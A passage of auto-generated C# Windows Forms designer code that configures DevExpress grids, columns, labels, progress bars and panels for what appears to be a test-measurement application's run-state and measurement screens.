this.runStateGridView.OptionsView.ShowGroupPanel = false;
this.runStateGridView.OptionsView.ShowIndicator = false;
this.runStateGridView.Tag = 0;
this.runStateGridView.CustomDrawCell += new DevExpress.XtraGrid.Views.Base.RowCellCustomDrawEventHandler(this.runStateGridView_CustomDrawCell);
//
// rsgNameColumn
//
this.rsgNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rsgNameColumn.AppearanceCell.Options.UseFont = true;
this.rsgNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.rsgNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.rsgNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rsgNameColumn.AppearanceHeader.Options.UseFont = true;
this.rsgNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.rsgNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.rsgNameColumn.Caption = "Name";
this.rsgNameColumn.FieldName = "Name";
this.rsgNameColumn.Name = "rsgNameColumn";
this.rsgNameColumn.OptionsColumn.AllowEdit = false;
this.rsgNameColumn.OptionsColumn.AllowFocus = false;
this.rsgNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.rsgNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.rsgNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.rsgNameColumn.OptionsColumn.AllowMove = false;
this.rsgNameColumn.OptionsColumn.AllowShowHide = false;
this.rsgNameColumn.OptionsColumn.AllowSize = false;
this.rsgNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.rsgNameColumn.OptionsColumn.FixedWidth = true;
this.rsgNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.rsgNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.rsgNameColumn.OptionsColumn.ReadOnly = true;
this.rsgNameColumn.OptionsColumn.TabStop = false;
this.rsgNameColumn.OptionsFilter.AllowAutoFilter = false;
this.rsgNameColumn.OptionsFilter.AllowFilter = false;
this.rsgNameColumn.Visible = true;
this.rsgNameColumn.VisibleIndex = 0;
this.rsgNameColumn.Width = 115;
//
// rsgValueColumn
//
this.rsgValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rsgValueColumn.AppearanceCell.Options.UseFont = true;
this.rsgValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.rsgValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.rsgValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rsgValueColumn.AppearanceHeader.Options.UseFont = true;
this.rsgValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.rsgValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.rsgValueColumn.FieldName = "Value";
this.rsgValueColumn.Name = "rsgValueColumn";
this.rsgValueColumn.OptionsColumn.AllowEdit = false;
this.rsgValueColumn.OptionsColumn.AllowFocus = false;
this.rsgValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.rsgValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.rsgValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.rsgValueColumn.OptionsColumn.AllowMove = false;
this.rsgValueColumn.OptionsColumn.AllowShowHide = false;
this.rsgValueColumn.OptionsColumn.AllowSize = false;
this.rsgValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.rsgValueColumn.OptionsColumn.FixedWidth = true;
this.rsgValueColumn.OptionsColumn.ReadOnly = true;
this.rsgValueColumn.Visible = true;
this.rsgValueColumn.VisibleIndex = 1;
this.rsgValueColumn.Width = 190;
//
// label38
//
this.label38.Location = new System.Drawing.Point(8, 378);
this.label38.Name = "label38";
this.label38.Size = new System.Drawing.Size(86, 22);
this.label38.TabIndex = 157;
this.label38.Text = "Schedule";
this.label38.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label37
//
this.label37.Location = new System.Drawing.Point(8, 357);
this.label37.Name = "label37";
this.label37.Size = new System.Drawing.Size(86, 22);
this.label37.TabIndex = 156;
this.label37.Text = "Repeat";
this.label37.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label36
//
this.label36.Location = new System.Drawing.Point(8, 336);
this.label36.Name = "label36";
this.label36.Size = new System.Drawing.Size(86, 22);
this.label36.TabIndex = 155;
this.label36.Text = "No of Steady";
this.label36.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label35
//
this.label35.Location = new System.Drawing.Point(8, 315);
this.label35.Name = "label35";
this.label35.Size = new System.Drawing.Size(86, 22);
this.label35.TabIndex = 154;
this.label35.Text = "Integration";
this.label35.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label32
//
this.label32.Location = new System.Drawing.Point(8, 294);
this.label32.Name = "label32";
this.label32.Size = new System.Drawing.Size(86, 22);
this.label32.TabIndex = 153;
this.label32.Text = "Judgement";
this.label32.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label31
//
this.label31.Location = new System.Drawing.Point(8, 273);
this.label31.Name = "label31";
this.label31.Size = new System.Drawing.Size(86, 22);
this.label31.TabIndex = 152;
this.label31.Text = "Preparation";
this.label31.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// scheduleProgress
//
this.scheduleProgress.Location = new System.Drawing.Point(120, 381);
this.scheduleProgress.Name = "scheduleProgress";
this.scheduleProgress.Properties.AllowFocused = false;
this.scheduleProgress.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.scheduleProgress.Properties.Appearance.ForeColor = System.Drawing.Color.Black;
this.scheduleProgress.Properties.Appearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.scheduleProgress.Properties.FlowAnimationDuration = 2000;
this.scheduleProgress.Properties.FlowAnimationEnabled = true;
this.scheduleProgress.Properties.ShowTitle = true;
this.scheduleProgress.Properties.TextOrientation = DevExpress.Utils.Drawing.TextOrientation.Horizontal;
this.scheduleProgress.Size = new System.Drawing.Size(194, 18);
this.scheduleProgress.TabIndex = 151;
//
// repeatProgress
//
this.repeatProgress.Location = new System.Drawing.Point(120, 360);
this.repeatProgress.Name = "repeatProgress";
this.repeatProgress.Properties.AllowFocused = false;
this.repeatProgress.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.repeatProgress.Properties.Appearance.ForeColor = System.Drawing.Color.Black;
this.repeatProgress.Properties.Appearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.repeatProgress.Properties.FlowAnimationDuration = 2000;
this.repeatProgress.Properties.FlowAnimationEnabled = true;
this.repeatProgress.Properties.ShowTitle = true;
this.repeatProgress.Properties.TextOrientation = DevExpress.Utils.Drawing.TextOrientation.Horizontal;
this.repeatProgress.Size = new System.Drawing.Size(194, 18);
this.repeatProgress.TabIndex = 150;
//
// noOfSteadyProgress
//
this.noOfSteadyProgress.Location = new System.Drawing.Point(120, 339);
this.noOfSteadyProgress.Name = "noOfSteadyProgress";
this.noOfSteadyProgress.Properties.AllowFocused = false;
this.noOfSteadyProgress.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noOfSteadyProgress.Properties.Appearance.ForeColor = System.Drawing.Color.Black;
this.noOfSteadyProgress.Properties.Appearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.noOfSteadyProgress.Properties.FlowAnimationDuration = 2000;
this.noOfSteadyProgress.Properties.FlowAnimationEnabled = true;
this.noOfSteadyProgress.Properties.ShowTitle = true;
this.noOfSteadyProgress.Properties.TextOrientation = DevExpress.Utils.Drawing.TextOrientation.Horizontal;
this.noOfSteadyProgress.Size = new System.Drawing.Size(194, 18);
this.noOfSteadyProgress.TabIndex = 149;
//
// integrationProgress
//
this.integrationProgress.Location = new System.Drawing.Point(120, 318);
this.integrationProgress.Name = "integrationProgress";
this.integrationProgress.Properties.AllowFocused = false;
this.integrationProgress.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.integrationProgress.Properties.Appearance.ForeColor = System.Drawing.Color.Black;
this.integrationProgress.Properties.Appearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.integrationProgress.Properties.FlowAnimationDuration = 2000;
this.integrationProgress.Properties.FlowAnimationEnabled = true;
this.integrationProgress.Properties.ShowTitle = true;
this.integrationProgress.Properties.TextOrientation = DevExpress.Utils.Drawing.TextOrientation.Horizontal;
this.integrationProgress.Size = new System.Drawing.Size(194, 18);
this.integrationProgress.TabIndex = 148;
//
// judgementProgress
//
this.judgementProgress.Location = new System.Drawing.Point(120, 297);
this.judgementProgress.Name = "judgementProgress";
this.judgementProgress.Properties.AllowFocused = false;
this.judgementProgress.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.judgementProgress.Properties.Appearance.ForeColor = System.Drawing.Color.Black;
this.judgementProgress.Properties.Appearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.judgementProgress.Properties.FlowAnimationDuration = 2000;
this.judgementProgress.Properties.FlowAnimationEnabled = true;
this.judgementProgress.Properties.ShowTitle = true;
this.judgementProgress.Properties.TextOrientation = DevExpress.Utils.Drawing.TextOrientation.Horizontal;
this.judgementProgress.Size = new System.Drawing.Size(194, 18);
this.judgementProgress.TabIndex = 147;
//
// preparationProgress
//
this.preparationProgress.Location = new System.Drawing.Point(120, 276);
this.preparationProgress.Name = "preparationProgress";
this.preparationProgress.Properties.AllowFocused = false;
this.preparationProgress.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.preparationProgress.Properties.Appearance.ForeColor = System.Drawing.Color.Black;
this.preparationProgress.Properties.Appearance.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.preparationProgress.Properties.FlowAnimationDuration = 2000;
this.preparationProgress.Properties.FlowAnimationEnabled = true;
this.preparationProgress.Properties.ShowTitle = true;
this.preparationProgress.Properties.TextOrientation = DevExpress.Utils.Drawing.TextOrientation.Horizontal;
this.preparationProgress.Size = new System.Drawing.Size(194, 18);
this.preparationProgress.TabIndex = 145;
//
// ulPanel2
//
this.ulPanel2.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel2.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel2.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel2.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel2.ForeColor = System.Drawing.Color.White;
this.ulPanel2.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel2.InnerColor2 = System.Drawing.Color.White;
this.ulPanel2.Location = new System.Drawing.Point(6, 6);
this.ulPanel2.Name = "ulPanel2";
this.ulPanel2.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel2.OuterColor2 = System.Drawing.Color.White;
this.ulPanel2.Size = new System.Drawing.Size(308, 28);
this.ulPanel2.Spacing = 0;
this.ulPanel2.TabIndex = 5;
this.ulPanel2.Text = "RUN STATE";
this.ulPanel2.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel2.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// testMeasTab
//
this.testMeasTab.Controls.Add(this.measPage);
this.testMeasTab.Controls.Add(this.reportPage);
this.testMeasTab.Controls.Add(this.graphPage);
this.testMeasTab.Location = new System.Drawing.Point(326, 0);
this.testMeasTab.Margin = new System.Windows.Forms.Padding(0);
this.testMeasTab.Name = "testMeasTab";
this.testMeasTab.Padding = new System.Drawing.Point(0, 0);
this.testMeasTab.SelectedIndex = 0;
this.testMeasTab.Size = new System.Drawing.Size(1400, 915);
this.testMeasTab.TabIndex = 7;
//
// measPage
//
this.measPage.Controls.Add(this.measTab);
this.measPage.Location = new System.Drawing.Point(4, 24);
this.measPage.Margin = new System.Windows.Forms.Padding(0);
this.measPage.Name = "measPage";
this.measPage.Size = new System.Drawing.Size(1392, 887);
this.measPage.TabIndex = 0;
this.measPage.Text = " Measure ";
this.measPage.UseVisualStyleBackColor = true;
//
// measTab
//
this.measTab.Alignment = System.Windows.Forms.TabAlignment.Bottom;
this.measTab.Controls.Add(this.meas1Page);
this.measTab.Controls.Add(this.meas2Page);
this.measTab.Dock = System.Windows.Forms.DockStyle.Fill;
this.measTab.Location = new System.Drawing.Point(0, 0);
this.measTab.Margin = new System.Windows.Forms.Padding(0);
this.measTab.Multiline = true;
this.measTab.Name = "measTab";
this.measTab.Padding = new System.Drawing.Point(0, 0);
this.measTab.SelectedIndex = 0;
this.measTab.Size = new System.Drawing.Size(1392, 887);
this.measTab.TabIndex = 0;
//
// meas1Page
//
this.meas1Page.Controls.Add(this.ulPanel5);
this.meas1Page.Controls.Add(this.ulPanel3);
this.meas1Page.Controls.Add(this.ulPanel79);
this.meas1Page.Controls.Add(this.ulPanel59);
this.meas1Page.Controls.Add(this.ulPanel69);
this.meas1Page.Controls.Add(this.ulPanel74);
this.meas1Page.Controls.Add(this.ulPanel64);
this.meas1Page.Controls.Add(this.ulPanel39);
this.meas1Page.Controls.Add(this.ulPanel37);
this.meas1Page.Controls.Add(this.ulPanel15);
this.meas1Page.Location = new System.Drawing.Point(4, 4);
this.meas1Page.Margin = new System.Windows.Forms.Padding(0);
this.meas1Page.Name = "meas1Page";
this.meas1Page.Size = new System.Drawing.Size(1384, 859);
this.meas1Page.TabIndex = 0;
this.meas1Page.Text = " Room ";
this.meas1Page.UseVisualStyleBackColor = true;
//
// ulPanel5
//
this.ulPanel5.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel5.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel5.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel5.Controls.Add(this.methodGrid);
this.ulPanel5.Controls.Add(this.ulPanel7);
this.ulPanel5.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel5.InnerColor2 = System.Drawing.Color.White;
this.ulPanel5.Location = new System.Drawing.Point(1070, 0);
this.ulPanel5.Name = "ulPanel5";
this.ulPanel5.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel5.OuterColor2 = System.Drawing.Color.White;
this.ulPanel5.Size = new System.Drawing.Size(314, 114);
this.ulPanel5.Spacing = 0;
this.ulPanel5.TabIndex = 17;
this.ulPanel5.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel5.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// methodGrid
//
this.methodGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.methodGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.methodGrid.Location = new System.Drawing.Point(6, 40);
this.methodGrid.MainView = this.methodGridView;
this.methodGrid.Name = "methodGrid";
this.methodGrid.Size = new System.Drawing.Size(302, 68);
this.methodGrid.TabIndex = 279;
this.methodGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.methodGridView});
//
// methodGridView
//
this.methodGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.FixedLine.Options.UseFont = true;
this.methodGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.FocusedRow.Options.UseFont = true;
this.methodGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.methodGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.methodGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.OddRow.Options.UseFont = true;
this.methodGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.Preview.Options.UseFont = true;
this.methodGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.Row.Options.UseFont = true;
this.methodGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.SelectedRow.Options.UseFont = true;
this.methodGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.methodGridView.Appearance.ViewCaption.Options.UseFont = true;
this.methodGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.mgNameColumn,
this.meValueColumn});
this.methodGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.methodGridView.GridControl = this.methodGrid;
this.methodGridView.Name = "methodGridView";
this.methodGridView.OptionsBehavior.Editable = false;
this.methodGridView.OptionsBehavior.ReadOnly = true;
this.methodGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.methodGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.methodGridView.OptionsSelection.MultiSelect = true;
this.methodGridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.methodGridView.OptionsView.ColumnAutoWidth = false;
this.methodGridView.OptionsView.ShowColumnHeaders = false;
this.methodGridView.OptionsView.ShowGroupPanel = false;
this.methodGridView.OptionsView.ShowIndicator = false;
this.methodGridView.Tag = 0;
//
// mgNameColumn
//
this.mgNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.mgNameColumn.AppearanceCell.Options.UseFont = true;
this.mgNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.mgNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.mgNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.mgNameColumn.AppearanceHeader.Options.UseFont = true;
this.mgNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.mgNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.mgNameColumn.Caption = "Name";
this.mgNameColumn.FieldName = "Name";
this.mgNameColumn.Name = "mgNameColumn";
this.mgNameColumn.OptionsColumn.AllowEdit = false;
this.mgNameColumn.OptionsColumn.AllowFocus = false;
this.mgNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.mgNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.mgNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.mgNameColumn.OptionsColumn.AllowMove = false;
this.mgNameColumn.OptionsColumn.AllowShowHide = false;
this.mgNameColumn.OptionsColumn.AllowSize = false;
this.mgNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.mgNameColumn.OptionsColumn.FixedWidth = true;
this.mgNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.mgNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.mgNameColumn.OptionsColumn.ReadOnly = true;
this.mgNameColumn.OptionsColumn.TabStop = false;
this.mgNameColumn.OptionsFilter.AllowAutoFilter = false;
this.mgNameColumn.OptionsFilter.AllowFilter = false;
this.mgNameColumn.Visible = true;
this.mgNameColumn.VisibleIndex = 0;
this.mgNameColumn.Width = 156;
//
// meValueColumn
//
this.meValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.meValueColumn.AppearanceCell.Options.UseFont = true;
this.meValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.meValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.meValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.meValueColumn.AppearanceHeader.Options.UseFont = true;
this.meValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.meValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.meValueColumn.Caption = "Value";
this.meValueColumn.FieldName = "Value";
this.meValueColumn.Name = "meValueColumn";
this.meValueColumn.OptionsColumn.AllowEdit = false;
this.meValueColumn.OptionsColumn.AllowFocus = false;
this.meValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.meValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.meValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.meValueColumn.OptionsColumn.AllowMove = false;
this.meValueColumn.OptionsColumn.AllowShowHide = false;
this.meValueColumn.OptionsColumn.AllowSize = false;
this.meValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.meValueColumn.OptionsColumn.FixedWidth = true;
this.meValueColumn.OptionsColumn.ReadOnly = true;
this.meValueColumn.Visible = true;
this.meValueColumn.VisibleIndex = 1;
this.meValueColumn.Width = 143;
//
// ulPanel7
//
this.ulPanel7.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel7.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel7.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel7.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel7.ForeColor = System.Drawing.Color.White;
this.ulPanel7.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel7.InnerColor2 = System.Drawing.Color.White;
this.ulPanel7.Location = new System.Drawing.Point(6, 6);
this.ulPanel7.Name = "ulPanel7";
this.ulPanel7.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel7.OuterColor2 = System.Drawing.Color.White;
this.ulPanel7.Size = new System.Drawing.Size(302, 28);
this.ulPanel7.Spacing = 0;
this.ulPanel7.TabIndex = 5;
this.ulPanel7.Text = "METHOD";
this.ulPanel7.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel7.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel3
//
this.ulPanel3.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel3.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel3.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel3.Controls.Add(this.indoor11Grid);
this.ulPanel3.Controls.Add(this.ulPanel17);
this.ulPanel3.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel3.InnerColor2 = System.Drawing.Color.White;
this.ulPanel3.Location = new System.Drawing.Point(1070, 120);
this.ulPanel3.Name = "ulPanel3";
this.ulPanel3.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel3.OuterColor2 = System.Drawing.Color.White;
this.ulPanel3.Size = new System.Drawing.Size(314, 143);
this.ulPanel3.Spacing = 0;
this.ulPanel3.TabIndex = 16;
this.ulPanel3.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel3.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// indoor11Grid
//
this.indoor11Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.indoor11Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.indoor11Grid.Location = new System.Drawing.Point(6, 40);
this.indoor11Grid.MainView = this.indoor11GridView;
this.indoor11Grid.Name = "indoor11Grid";
this.indoor11Grid.Size = new System.Drawing.Size(302, 97);
this.indoor11Grid.TabIndex = 280;
this.indoor11Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.indoor11GridView});
//
// indoor11GridView
//
this.indoor11GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.FixedLine.Options.UseFont = true;
this.indoor11GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.FocusedRow.Options.UseFont = true;
this.indoor11GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.indoor11GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.indoor11GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.OddRow.Options.UseFont = true;
this.indoor11GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.Preview.Options.UseFont = true;
this.indoor11GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.Row.Options.UseFont = true;
this.indoor11GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.SelectedRow.Options.UseFont = true;
this.indoor11GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.indoor11GridView.Appearance.ViewCaption.Options.UseFont = true;
this.indoor11GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.ID11NameColumn,
this.ID11ValueColumn,
this.ID11UnitColumn});
this.indoor11GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.indoor11GridView.GridControl = this.indoor11Grid;
this.indoor11GridView.Name = "indoor11GridView";
this.indoor11GridView.OptionsBehavior.Editable = false;
this.indoor11GridView.OptionsBehavior.ReadOnly = true;
this.indoor11GridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.indoor11GridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.indoor11GridView.OptionsSelection.MultiSelect = true;
this.indoor11GridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.indoor11GridView.OptionsView.ColumnAutoWidth = false;
this.indoor11GridView.OptionsView.ShowColumnHeaders = false;
this.indoor11GridView.OptionsView.ShowGroupPanel = false;
this.indoor11GridView.OptionsView.ShowIndicator = false;
this.indoor11GridView.Tag = 0;
//
// ID11NameColumn
//
this.ID11NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID11NameColumn.AppearanceCell.Options.UseFont = true;
this.ID11NameColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID11NameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID11NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID11NameColumn.AppearanceHeader.Options.UseFont = true;
this.ID11NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID11NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID11NameColumn.Caption = "Name";
this.ID11NameColumn.FieldName = "Name";
this.ID11NameColumn.Name = "ID11NameColumn";
this.ID11NameColumn.OptionsColumn.AllowEdit = false;
this.ID11NameColumn.OptionsColumn.AllowFocus = false;
this.ID11NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID11NameColumn.OptionsColumn.AllowIncrementalSearch = false;
